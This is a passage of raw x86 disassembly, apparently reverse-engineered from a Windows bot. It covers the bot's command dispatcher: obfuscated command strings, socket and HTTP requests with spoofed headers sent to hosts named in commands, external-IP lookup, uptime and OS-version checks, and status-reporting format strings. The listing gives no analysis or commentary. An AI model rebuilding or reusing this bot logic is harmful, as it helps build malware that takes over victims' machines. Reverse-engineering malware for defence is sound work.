		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_412D56:				; CODE XREF: sub_40A9FE+8338j
					; sub_40A9FE+833Dj
		cmp	[ebp+arg_18], edi
		jz	loc_412FED


loc_412D5F:				; CODE XREF: sub_40A9FE+8342j
		push	ebx
		push	offset aSSiteFailedToO ; "%s Site failed to open."
		jmp	loc_40BA60
; ---------------------------------------------------------------------------


loc_412D6A:				; CODE XREF: sub_40A9FE+82CCj
		push	dword ptr [ebx]
		push	offset aB2smo_whkew_qr ; "B2smo.WHkeW.QRn4z10ge1I1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_412DBD
		push	eax
		push	offset aIexplore_exe ; "iexplore.exe"
		call	sub_41FE3F
		cmp	[ebp+arg_14], 0
		pop	ecx
		pop	ecx
		mov	edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		mov	ebx, offset aSS_1 ; "%s	%s"
		jnz	short loc_412DA9
		push	offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0"
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_412DA9:				; CODE XREF: sub_40A9FE+8394j
		cmp	[ebp+arg_18], 0
		jz	loc_414995
		push	offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0"
		jmp	loc_40B0FA
; ---------------------------------------------------------------------------


loc_412DBD:				; CODE XREF: sub_40A9FE+8377j
		push	dword ptr [ebx]
		push	offset aVxg7n_qbmg90aa ; "vXG7N.qBMG90aA/Td0EX07M1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_412FD3
		cmp	[ebx+4], eax
		jz	loc_412FC9
		cmp	[ebx+8], eax
		jz	loc_412FC9
		cmp	[ebx+0Ch], eax
		jz	loc_412FC9
		cmp	[ebx+10h], eax
		jz	loc_412FC9
		lea	eax, [ebp+var_7310]
		push	eax
		push	101h
		call	dword_4372B8	; WSAStartup
		push	dword ptr [ebx+4]
		call	dword_4372A4	; gethostbyname
		mov	edi, eax
		test	edi, edi
		jnz	short loc_412E5A
		cmp	[ebp+arg_14], eax
		mov	edi, offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		mov	ebx, offset aSSD ; "%s %s <%d>"
		jnz	short loc_412E3E
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	edi
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_412E3E:				; CODE XREF: sub_40A9FE+8422j
		cmp	[ebp+arg_18], 0
		jz	loc_414995
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	edi
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		jmp	loc_40B6FE
; ---------------------------------------------------------------------------


loc_412E5A:				; CODE XREF: sub_40A9FE+8413j
		push	6
		push	1
		push	2
		call	dword_4372BC	; socket
		mov	[ebp+arg_C], eax
		mov	[ebp+var_2F4], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2F0], eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		call	dword_4372C4	; ntohs
		mov	[ebp+var_2F2], ax
		lea	eax, [ebp+var_2F4]
		push	10h
		push	eax
		push	[ebp+arg_C]
		call	dword_4372CC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412F13
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_31AC]
		push	dword ptr [ebx+14h]
		push	dword ptr [ebx+10h]
		push	dword ptr [ebx+0Ch]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\r\nReferer: %s\r\nUser-Agent"...
		push	100h
		push	eax
		call	sub_429BBE
		add	esp, 1Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_31AC]
		push	ebx
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_31AC]
		push	eax
		push	[ebp+arg_C]
		call	dword_4372D0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412F13
		push	ebx
		lea	eax, [ebp+var_2DA4]
		push	80h
		push	eax
		push	[ebp+arg_C]
		call	dword_4372D4	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412F6E


loc_412F13:				; CODE XREF: sub_40A9FE+84ADj
					; sub_40A9FE+84F8j
		cmp	[ebp+arg_14], 0
		mov	edi, offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		mov	ebx, offset aSSD ; "%s %s <%d>"
		jnz	short loc_412F3F
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	edi
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_412F3F:				; CODE XREF: sub_40A9FE+8523j
		cmp	[ebp+arg_18], 0
		jz	short loc_412F60
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	edi


loc_412F4D:				; DATA XREF: .text:off_44762Co
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	ebx
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 18h


loc_412F60:				; CODE XREF: sub_40A9FE+8545j
		push	[ebp+arg_C]
		call	dword_4372D8	; closesocket
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_412F6E:				; CODE XREF: sub_40A9FE+8513j
		push	[ebp+arg_C]
		call	dword_4372D8	; closesocket
		lea	eax, [ebp+var_2DA4]
		push	offset asc_440D90 ; "\n"
		push	eax
		call	sub_429C5E
		push	eax
		lea	eax, [ebp+var_61860]
		push	eax
		call	sub_429B03
		add	esp, 10h
		cmp	[ebp+arg_14], ebx
		mov	edi, offset aS_5 ; "%s"
		jnz	short loc_412FB8
		lea	eax, [ebp+var_61860]
		push	eax
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_412FB8:				; CODE XREF: sub_40A9FE+85A2j
		cmp	[ebp+arg_18], ebx
		jz	short loc_412FED
		lea	eax, [ebp+var_61860]
		push	eax
		jmp	loc_40BA5F
; ---------------------------------------------------------------------------


loc_412FC9:				; CODE XREF: sub_40A9FE+7EC8j
					; sub_40A9FE+7ED1j ...
		mov	edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		jmp	loc_40BF10
; ---------------------------------------------------------------------------


loc_412FD3:				; CODE XREF: sub_40A9FE+83CAj
		push	dword ptr [ebx]
		push	offset aQ5l5f_2to_60 ; "q5l5f.2TO.60"
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_412FF4
		push	dword ptr [ebx]
		push	offset aJbkl4Fbwcf1 ; "jBKL4/FbWCF1"
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_412FF4


loc_412FED:				; CODE XREF: sub_40A9FE+101Dj
					; sub_40A9FE+105Aj ...
		xor	eax, eax
		jmp	loc_414998
; ---------------------------------------------------------------------------


loc_412FF4:				; CODE XREF: sub_40A9FE+85E0j
					; sub_40A9FE+85EDj
		xor	eax, eax
		cmp	[ebx+4], eax
		jz	loc_413C78
		cmp	[ebx+8], eax
		jz	loc_413C78
		push	dword ptr [ebx]
		and	[ebp+arg_C], eax
		and	[ebp+arg_68], eax
		mov	[ebp+arg_8], 3
		push	offset aQ5l5f_2to_60 ; "q5l5f.2TO.60"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413029
		mov	[ebp+arg_C], 1


loc_413029:				; CODE XREF: sub_40A9FE+8622j
		push	dword ptr [ebx]
		push	offset aJbkl4Fbwcf1 ; "jBKL4/FbWCF1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41303D
		mov	[ebp+arg_68], 1


loc_41303D:				; CODE XREF: sub_40A9FE+8636j
		push	dword ptr [ebx+4]
		push	offset aW3gp6_13acy1_0 ; "W3GP6.13AcY1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_413126
		cmp	[ebp+arg_C], eax
		jz	short loc_4130BA
		push	offset dword_43D664
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413091
		push	offset a?	; "?"
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413091
		mov	ecx, [ebp+arg_10]
		call	sub_41DB58
		push	eax
		push	dword ptr [ebx+8]
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_4130BA
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_413091:				; CODE XREF: sub_40A9FE+8667j
					; sub_40A9FE+867Aj
		mov	ecx, [ebp+arg_10]
		call	sub_41DB58
		push	eax
		call	sub_42AF20
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42AF20
		pop	ecx
		push	eax
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414995


loc_4130BA:				; CODE XREF: sub_40A9FE+8654j
					; sub_40A9FE+868Cj
		cmp	[ebp+arg_68], 0
		jz	short loc_413126
		push	offset dword_43D664
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130FD
		push	offset a?	; "?"
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130FD
		mov	ecx, [ebp+arg_10]
		call	sub_41DB58
		push	eax
		push	dword ptr [ebx+8]
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413126
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_4130FD:				; CODE XREF: sub_40A9FE+86D3j
					; sub_40A9FE+86E6j
		mov	ecx, [ebp+arg_10]
		call	sub_41DB58
		push	eax
		call	sub_42AF20
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42AF20
		pop	ecx
		push	eax
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414995


loc_413126:				; CODE XREF: sub_40A9FE+864Bj
					; sub_40A9FE+86C0j ...
		push	dword ptr [ebx+4]
		push	offset aM08se_kt9td1 ; "M08SE.Kt9tD1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_413200
		cmp	[ebp+arg_C], eax
		jz	short loc_4131A3
		push	offset dword_43D664
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41317A
		push	offset a?	; "?"
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41317A
		mov	ecx, [ebp+arg_10]
		call	sub_41DB5C
		push	eax
		push	dword ptr [ebx+8]
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_4131A3
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_41317A:				; CODE XREF: sub_40A9FE+8750j
					; sub_40A9FE+8763j
		mov	ecx, [ebp+arg_10]
		call	sub_41DB5C
		push	eax
		call	sub_42AF20
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42AF20
		pop	ecx
		push	eax
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414995


loc_4131A3:				; CODE XREF: sub_40A9FE+873Dj
					; sub_40A9FE+8775j
		cmp	[ebp+arg_68], 0
		jz	loc_413A99
		push	offset dword_43D664
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131E1
		push	offset a?	; "?"
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131E1
		mov	ecx, [ebp+arg_10]
		call	sub_41DB5C
		push	eax
		jmp	loc_413A42
; ---------------------------------------------------------------------------


loc_4131E1:				; CODE XREF: sub_40A9FE+87C0j
					; sub_40A9FE+87D3j
		mov	ecx, [ebp+arg_10]
		call	sub_41DB5C
		push	eax


loc_4131EA:				; CODE XREF: sub_40A9FE+8945j
		call	sub_42AF20
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42AF20
		pop	ecx
		push	eax
		jmp	loc_413A58
; ---------------------------------------------------------------------------


loc_413200:				; CODE XREF: sub_40A9FE+8734j
		push	dword ptr [ebx+4]
		push	offset a3eowx2ocng ; "3eowX/2OCnG/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_413348
		push	offset byte_454A54
		push	offset dword_457C40
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_413231
		push	offset dword_457C40
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		jz	short loc_4132A0


loc_413231:				; CODE XREF: sub_40A9FE+8822j
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jnz	short loc_41325A
		cmp	[ebp+arg_18], eax
		jnz	short loc_413260
		cmp	[ebp+arg_20], eax
		jz	short loc_413277
		push	offset aPtami1_agv ; "PTaMI1/.aGV/"
		push	offset aSTryingToGetEx ; "%s Trying to get external IP."
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_41325A:				; CODE XREF: sub_40A9FE+8838j
		cmp	[ebp+arg_18], 0
		jz	short loc_413277


loc_413260:				; CODE XREF: sub_40A9FE+883Dj
		push	offset aPtami1_agv ; "PTaMI1/.aGV/"
		push	offset aSTryingToGetEx ; "%s Trying to get external IP."
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 10h


loc_413277:				; CODE XREF: sub_40A9FE+8842j
					; sub_40A9FE+8860j
		mov	ecx, [ebp+arg_10]
		call	sub_41DB58
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_41CF25
		push	1388h
		push	eax
		mov	dword ptr [ebp+var_C+4], eax
		call	dword_43707C	; WaitForSingleObject
		push	dword ptr [ebp+var_C+4]
		call	dword_437044	; CloseHandle


loc_4132A0:				; CODE XREF: sub_40A9FE+8831j
		cmp	[ebp+arg_C], 0
		jz	short loc_413304
		push	offset dword_43D664
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4132DF
		push	offset a?	; "?"
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4132DF
		push	offset dword_457C58
		push	dword ptr [ebx+8]
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_413304
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_4132DF:				; CODE XREF: sub_40A9FE+88B9j
					; sub_40A9FE+88CCj
		push	offset dword_457C58
		call	sub_42AF20
		pop	ecx
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42AF20
		pop	ecx
		push	eax
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414995


loc_413304:				; CODE XREF: sub_40A9FE+88A6j
					; sub_40A9FE+88DAj
		cmp	[ebp+arg_68], 0
		jz	loc_413A99
		push	offset dword_43D664
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41333E
		push	offset a?	; "?"
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41333E
		push	offset dword_457C58
		jmp	loc_413A42
; ---------------------------------------------------------------------------


loc_41333E:				; CODE XREF: sub_40A9FE+8921j
					; sub_40A9FE+8934j
		push	offset dword_457C58
		jmp	loc_4131EA
; ---------------------------------------------------------------------------


loc_413348:				; CODE XREF: sub_40A9FE+880Ej
		push	dword ptr [ebx+4]
		push	offset aS3dyJzo6r ; "s3dY//JZo6r/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413381
		cmp	[ebp+arg_C], eax
		jz	short loc_41336D
		push	offset a3c9	; "]&3c9"
		push	dword ptr [ebx+8]
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_414995


loc_41336D:				; CODE XREF: sub_40A9FE+895Bj
		cmp	[ebp+arg_68], 0
		jz	loc_413A99
		push	offset a3c9	; "]&3c9"
		jmp	loc_413A42
; ---------------------------------------------------------------------------


loc_413381:				; CODE XREF: sub_40A9FE+8956j
		push	dword ptr [ebx+4]
		push	offset aUwher1dagd80 ; "UWher1DAGD80"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4133BA
		cmp	[ebp+arg_C], eax
		jz	short loc_4133A6
		push	offset dword_4439BC
		push	dword ptr [ebx+8]
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_414995


loc_4133A6:				; CODE XREF: sub_40A9FE+8994j
		cmp	[ebp+arg_68], 0
		jz	loc_413A99
		push	offset dword_4439BC
		jmp	loc_413A42
; ---------------------------------------------------------------------------


loc_4133BA:				; CODE XREF: sub_40A9FE+898Fj
		push	dword ptr [ebx+4]
		push	offset aPnb_aBfzu60 ; "pNb.a/Bfzu60"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4133D0
		call	dword_437188	; GetTickCount
		jmp	short loc_41342F
; ---------------------------------------------------------------------------


loc_4133D0:				; CODE XREF: sub_40A9FE+89C8j
		push	dword ptr [ebx+4]
		push	offset aZu2s6_o7_yt ; "Zu2s6.O7.yt/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41341C
		call	dword_437188	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	edi, 3E8h
		push	3Ch
		mov	ecx, eax
		mov	eax, dword_457F60
		div	edi
		xor	edx, edx
		sub	ecx, eax
		mov	eax, ecx
		mov	ecx, 15180h
		div	ecx
		mov	ecx, 0E10h
		mov	eax, edx
		xor	edx, edx
		div	ecx
		pop	ecx
		mov	eax, edx
		jmp	short loc_413434
; ---------------------------------------------------------------------------


loc_41341C:				; CODE XREF: sub_40A9FE+89DEj
		push	dword ptr [ebx+4]
		push	offset a4hftz6holr ; "4hftZ/6HOlR/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413471
		call	sub_41BCED


loc_41342F:				; CODE XREF: sub_40A9FE+89D0j
		mov	ecx, 5265C00h


loc_413434:				; CODE XREF: sub_40A9FE+8A1Cj
		xor	edx, edx
		div	ecx
		cmp	[ebp+arg_C], 0
		mov	edi, eax
		jz	short loc_413451
		push	dword ptr [ebx+8]
		call	sub_42A100
		cmp	edi, eax
		pop	ecx
		jb	loc_414995


loc_413451:				; CODE XREF: sub_40A9FE+8A40j
		cmp	[ebp+arg_68], 0
		jz	loc_413A99
		push	dword ptr [ebx+8]
		call	sub_42A100
		cmp	edi, eax
		pop	ecx
		jbe	loc_413A99
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_413471:				; CODE XREF: sub_40A9FE+8A2Aj
		push	dword ptr [ebx+4]
		push	offset aYqrdp_9rf4u0 ; "yqrdP.9rF4U0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4134B7
		cmp	[ebp+arg_C], eax
		mov	[ebp+arg_8], 2
		jz	short loc_41349E
		push	offset dword_457CF8
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		jz	loc_414995


loc_41349E:				; CODE XREF: sub_40A9FE+8A8Bj
		cmp	[ebp+arg_68], 0
		jz	loc_413A99
		push	offset dword_457CF8
		call	sub_41E4C1
		jmp	loc_413A5E
; ---------------------------------------------------------------------------


loc_4134B7:				; CODE XREF: sub_40A9FE+8A7Fj
		push	dword ptr [ebx+4]
		push	offset a1uyis15kh_n1 ; "1UyIs15KH.n1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4134FD
		xor	edi, edi
		mov	[ebp+arg_8], 2
		cmp	dword_457050, edi
		jnz	loc_414995
		push	edi
		push	edi
		lea	eax, [ebp+var_3C]
		push	edi
		push	eax
		call	dword_456DB4	; InternetGetConnectedStateExA
		test	[ebp+var_3C], 1
		jz	short loc_4134F5
		cmp	[ebp+arg_68], edi
		jmp	loc_413A61
; ---------------------------------------------------------------------------


loc_4134F5:				; CODE XREF: sub_40A9FE+8AEDj
		cmp	[ebp+arg_C], edi
		jmp	loc_413A61
; ---------------------------------------------------------------------------


loc_4134FD:				; CODE XREF: sub_40A9FE+8AC5j
		push	dword ptr [ebx+4]
		push	offset a9ljbh07crkd__0 ; "9lJBH07crkD."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_4135FB
		cmp	[ebp+arg_C], eax
		jz	short loc_41357E
		push	dword ptr [ebx+8]
		push	offset aD0ron_ctdg0_ ; "D0roN.CTDg0."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41357E
		push	8
		call	sub_423800
		test	eax, eax
		pop	ecx
		jz	loc_414995
		push	dword ptr [ebx+8]
		push	offset aFr8ri0f9nfz_ ; "fr8ri0f9NfZ."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41357E
		push	0Dh
		call	sub_423800
		test	eax, eax
		pop	ecx
		jz	loc_414995
		push	dword ptr [ebx+8]
		push	offset aWbzcx0Dknt_ ; "wbZcx0/Dknt."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41357E
		push	8
		call	sub_423800
		test	eax, eax
		pop	ecx
		jnz	loc_414995
		push	0Dh
		call	sub_423800
		test	eax, eax
		pop	ecx
		jnz	loc_414995


loc_41357E:				; CODE XREF: sub_40A9FE+8B14j
					; sub_40A9FE+8B22j ...
		cmp	[ebp+arg_68], 0
		jz	loc_413A99
		push	dword ptr [ebx+8]
		push	offset aD0ron_ctdg0_ ; "D0roN.CTDg0."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_413A99
		push	8
		call	sub_423800
		test	eax, eax
		pop	ecx
		jnz	loc_414995
		push	dword ptr [ebx+8]
		push	offset aFr8ri0f9nfz_ ; "fr8ri0f9NfZ."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_413A99
		push	0Dh
		call	sub_423800
		test	eax, eax
		pop	ecx
		jnz	loc_414995
		push	dword ptr [ebx+8]
		push	offset aWbzcx0Dknt_ ; "wbZcx0/Dknt."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_413A99
		push	8
		call	sub_423800
		test	eax, eax
		pop	ecx
		jnz	loc_413A99
		push	0Dh
		call	sub_423800
		pop	ecx
		jmp	loc_413A47
; ---------------------------------------------------------------------------


loc_4135FB:				; CODE XREF: sub_40A9FE+8B0Bj
		push	dword ptr [ebx+4]
		push	offset aNyjsr1cv5ch0 ; "NyJsR1cV5CH0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_4138FB
		lea	eax, [ebp+var_208]
		mov	[ebp+var_208], 94h
		push	eax
		call	dword_437050	; GetVersionExA
		test	eax, eax
		jz	loc_413A99
		cmp	[ebp+arg_C], 0
		jz	loc_413796
		push	dword ptr [ebx+8]
		push	offset a95	; "95"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413669
		cmp	[ebp+var_204], 4
		jnz	loc_414995
		cmp	[ebp+var_200], eax
		jnz	loc_414995
		cmp	[ebp+var_1F8], 1
		jmp	loc_41376B
; ---------------------------------------------------------------------------


loc_413669:				; CODE XREF: sub_40A9FE+8C44j
		push	dword ptr [ebx+8]
		push	offset aNt	; "nt"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41369C
		cmp	[ebp+var_204], 4
		jnz	loc_414995
		cmp	[ebp+var_200], eax
		jnz	loc_414995
		cmp	[ebp+var_1F8], 2
		jmp	loc_41376B
; ---------------------------------------------------------------------------


loc_41369C:				; CODE XREF: sub_40A9FE+8C77j
		push	dword ptr [ebx+8]
		push	offset a98	; "98"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4136C3
		cmp	[ebp+var_204], 4
		jnz	loc_414995
		cmp	[ebp+var_200], 0Ah
		jmp	loc_41376B
; ---------------------------------------------------------------------------


loc_4136C3:				; CODE XREF: sub_40A9FE+8CAAj
		push	dword ptr [ebx+8]
		push	offset aMe	; "me"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4136EA
		cmp	[ebp+var_204], 4
		jnz	loc_414995
		cmp	[ebp+var_200], 5Ah
		jmp	loc_41376B
; ---------------------------------------------------------------------------


loc_4136EA:				; CODE XREF: sub_40A9FE+8CD1j
		push	dword ptr [ebx+8]
		push	offset a2k_0	; "2k"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413701
		cmp	[ebp+var_204], 5
		jmp	short loc_41375E
; ---------------------------------------------------------------------------


loc_413701:				; CODE XREF: sub_40A9FE+8CF8j
		push	dword ptr [ebx+8]
		push	offset aXp_0	; "xp"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413725
		cmp	[ebp+var_204], 5
		jnz	loc_414995
		cmp	[ebp+var_200], 1
		jmp	short loc_41376B
; ---------------------------------------------------------------------------


loc_413725:				; CODE XREF: sub_40A9FE+8D0Fj
		push	dword ptr [ebx+8]
		push	offset a2k3	; "2k3"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413749
		cmp	[ebp+var_204], 5
		jnz	loc_414995
		cmp	[ebp+var_200], 2
		jmp	short loc_41376B
; ---------------------------------------------------------------------------


loc_413749:				; CODE XREF: sub_40A9FE+8D33j
		push	dword ptr [ebx+8]
		push	offset aVista	; "vista"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413772
		cmp	[ebp+var_204], 6


loc_41375E:				; CODE XREF: sub_40A9FE+8D01j
		jnz	loc_414995
		cmp	[ebp+var_200], 0


loc_41376B:				; CODE XREF: sub_40A9FE+8C66j
					; sub_40A9FE+8C99j ...
		jz	short loc_413796
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_413772:				; CODE XREF: sub_40A9FE+8D57j
		push	dword ptr [ebx+8]
		push	offset a7	; "7"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413796
		cmp	[ebp+var_204], 6
		jnz	short loc_413796
		inc	eax
		cmp	[ebp+var_200], eax
		jz	loc_414998


loc_413796:				; CODE XREF: sub_40A9FE+8C32j
					; sub_40A9FE:loc_41376Bj ...
		cmp	[ebp+arg_68], 0
		jz	loc_413A99
		push	dword ptr [ebx+8]
		push	offset a95	; "95"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4137D3
		cmp	[ebp+var_204], 4
		jnz	loc_413A99
		cmp	[ebp+var_200], eax
		jnz	loc_413A99
		cmp	[ebp+var_1F8], 1
		jmp	loc_413A49
; ---------------------------------------------------------------------------


loc_4137D3:				; CODE XREF: sub_40A9FE+8DAEj
		push	dword ptr [ebx+8]
		push	offset aNt	; "nt"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413806
		cmp	[ebp+var_204], 4
		jnz	loc_413A99
		cmp	[ebp+var_200], eax
		jnz	loc_413A99
		cmp	[ebp+var_1F8], 2
		jmp	loc_413A49
; ---------------------------------------------------------------------------


loc_413806:				; CODE XREF: sub_40A9FE+8DE1j
		push	dword ptr [ebx+8]
		push	offset a98	; "98"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41382D
		cmp	[ebp+var_204], 4
		jnz	loc_413A99
		cmp	[ebp+var_200], 0Ah
		jmp	loc_413A49
; ---------------------------------------------------------------------------


loc_41382D:				; CODE XREF: sub_40A9FE+8E14j
		push	dword ptr [ebx+8]
		push	offset aMe	; "me"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413854
		cmp	[ebp+var_204], 4
		jnz	loc_413A99
		cmp	[ebp+var_200], 5Ah
		jmp	loc_413A49
; ---------------------------------------------------------------------------


loc_413854:				; CODE XREF: sub_40A9FE+8E3Bj
		push	dword ptr [ebx+8]
		push	offset a2k_0	; "2k"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41387B
		cmp	[ebp+var_204], 5


loc_413869:				; CODE XREF: sub_40A9FE+8EE0j
		jnz	loc_413A99
		cmp	[ebp+var_200], 0
		jmp	loc_413A49
; ---------------------------------------------------------------------------


loc_41387B:				; CODE XREF: sub_40A9FE+8E62j
		push	dword ptr [ebx+8]
		push	offset aXp_0	; "xp"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4138A2
		cmp	[ebp+var_204], 5


loc_413890:				; CODE XREF: sub_40A9FE+8EFBj
		jnz	loc_413A99
		cmp	[ebp+var_200], 1
		jmp	loc_413A49
; ---------------------------------------------------------------------------


loc_4138A2:				; CODE XREF: sub_40A9FE+8E89j
		push	dword ptr [ebx+8]
		push	offset a2k3	; "2k3"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4138C9
		cmp	[ebp+var_204], 5
		jnz	loc_413A99
		cmp	[ebp+var_200], 2
		jmp	loc_413A49
; ---------------------------------------------------------------------------


loc_4138C9:				; CODE XREF: sub_40A9FE+8EB0j
		push	dword ptr [ebx+8]
		push	offset aVista	; "vista"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4138E0
		cmp	[ebp+var_204], 6
		jmp	short loc_413869
; ---------------------------------------------------------------------------


loc_4138E0:				; CODE XREF: sub_40A9FE+8ED7j
		push	dword ptr [ebx+8]
		push	offset a7	; "7"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_413A99
		cmp	[ebp+var_204], 6
		jmp	short loc_413890
; ---------------------------------------------------------------------------


loc_4138FB:				; CODE XREF: sub_40A9FE+8C09j
		push	dword ptr [ebx+4]
		push	offset aI6sd4ctzn0 ; "/I6sD/4CTzn0"
		call	edi ; dword_437178
